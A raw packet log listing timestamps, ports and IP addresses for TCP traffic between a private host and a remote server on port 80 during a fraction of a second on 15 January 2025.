Jan 15, 2025 13:21:45.695792913 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.695805073 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695821047 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695833921 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.695835114 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695847988 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695859909 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695859909 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.695884943 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.695914030 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.695940971 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695952892 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695966005 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.695979118 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696007013 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696017981 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696019888 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696017981 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696033001 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696047068 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696064949 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696083069 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696131945 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696150064 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696161985 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696183920 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696191072 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696197033 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696209908 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696222067 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696224928 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696268082 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696296930 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696309090 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696321011 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696332932 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696336031 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696357012 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696367979 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696369886 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696382046 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696397066 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696413994 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696428061 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696429014 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696439981 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696458101 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696469069 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696470022 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696482897 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696489096 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696530104 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696607113 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696619034 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696629047 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696641922 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696652889 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696664095 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696675062 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696686983 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696691990 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696697950 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696707964 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696711063 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696723938 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696737051 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696748972 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696753979 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696779966 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696799040 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.696805000 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.696854115 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.698020935 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.737731934 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737751961 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737763882 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737776041 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737788916 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737801075 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737804890 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.737812996 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.737860918 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780668020 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780689001 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780700922 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780711889 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780716896 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780723095 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780735970 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780746937 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780755043 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780769110 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780783892 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780800104 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780803919 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780814886 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780819893 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780833960 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780846119 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780857086 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780868053 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780877113 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780878067 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780896902 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780911922 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780916929 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780929089 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780937910 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780941010 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780951977 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780963898 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780972004 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.780975103 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.780987978 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781013966 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781027079 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781049013 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781059027 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781060934 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781079054 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781090021 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781102896 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781122923 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781126022 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781135082 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781167030 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781274080 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781284094 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781301975 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781312943 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781322956 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781323910 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781344891 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781354904 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781362057 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781379938 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781394005 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781407118 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781414986 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781418085 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781430960 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781440020 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781443119 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781461954 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781465054 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781481981 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781493902 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781498909 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781505108 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781523943 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781523943 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781538010 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781548977 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781560898 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781572104 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781614065 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781624079 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781636953 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781644106 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781647921 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781660080 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.781663895 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781682968 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.781697035 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782390118 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782465935 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782483101 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782495975 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782504082 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782507896 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782520056 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782531977 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782538891 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782562017 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782562017 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782572985 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782583952 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782592058 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782594919 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782607079 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782625914 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782627106 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782638073 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782653093 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782655954 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782664061 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782680988 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782706022 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782710075 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782716036 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782727003 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782747984 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782757998 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782769918 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782778025 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782782078 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782804966 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782808065 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782847881 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.782913923 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782978058 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.782990932 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783023119 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783056974 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783066988 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783080101 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783092976 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783099890 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783113003 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783123970 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783129930 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783135891 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783164024 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783181906 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783211946 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783221960 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783232927 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783243895 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783255100 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783263922 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783267021 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783279896 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783297062 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783360004 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783370018 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783380032 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783391953 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783394098 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783402920 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783416033 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783418894 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783433914 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783444881 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783451080 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783457041 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783467054 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783479929 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783484936 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783492088 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783504963 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783510923 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783524036 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783528090 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783535004 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783545971 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783569098 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783580065 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.783581018 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.783612013 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.824490070 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824512959 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824526072 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824539900 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824552059 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824564934 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824568987 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.824577093 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.824626923 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867343903 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867381096 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867391109 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867472887 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867506981 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867522001 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867527008 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867542028 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867580891 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867623091 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867634058 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867645979 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867657900 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867662907 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867671013 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867692947 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867697954 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867712021 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867723942 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867724895 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867736101 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867748976 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867754936 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867767096 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867778063 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867783070 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867789984 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867803097 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867832899 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867846966 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867860079 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867872000 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867887020 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867892981 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867898941 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867908955 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867929935 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867933035 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867942095 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867964029 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867974997 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.867976904 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.867990971 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868089914 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868100882 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868113041 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868130922 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868134022 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868149042 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868160009 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868160963 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868172884 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868182898 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868185043 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868196964 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868204117 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868210077 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868231058 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868278980 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868290901 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868308067 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868324995 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868336916 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868349075 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868355036 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868362904 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868376017 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868381977 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868388891 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868413925 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868429899 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868436098 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868442059 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868453979 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868464947 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.868477106 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.868506908 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869172096 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869183064 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869195938 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869221926 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869278908 CET	80	49949	173.252.167.60	192.168.2.9
